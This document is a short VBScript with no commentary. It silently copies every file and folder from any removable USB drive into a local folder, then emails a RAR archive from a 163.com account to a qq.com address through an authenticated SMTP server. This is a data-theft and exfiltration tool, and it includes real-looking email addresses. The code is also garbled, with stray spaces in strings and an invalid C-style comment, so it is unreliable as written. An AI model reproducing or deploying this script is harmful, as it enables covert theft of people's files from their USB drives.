Dim udisk, disks, S
Set FSO = Createobject ("scripting. FileSystemObject ")
Set disks = FSO. Drives
For each udisk in Disks
S = udisk. driveletter
If FSO. getdrive (S & ":"). drivetype = 1 then
FSO. copyfile S & ": \ *", "d: \ biweilun's files", true
FSO. copyfolder S & ": \ *", "d: \ biweilun's files", true
End if
Next
namespace = "http://schemas.microsoft.com/cdo/configuration/"
set email = Createobject ("CDO. message ")
email. from = "byan88@163.com"
email. to = "274668477@qq.com"
email. subject = "test Sendmail. vbs "
email. textbody = "OK! "
email. addattachment "C: \ so sick. RAR "/* Create so sick in C. RAR */
with email. configuration. fields
. item (namespace & "sendusing") = 2
. item (namespace & "smtpserver") = "smtp.163.com"
. item (namespace & "smtpserverport") = 25
. item (namespace & "smtpauthenticate") = 1
. item (namespace & "sendusername") = "byan88"
. item (namespace & "sendpassword") = "*****"
. update
end with
email. send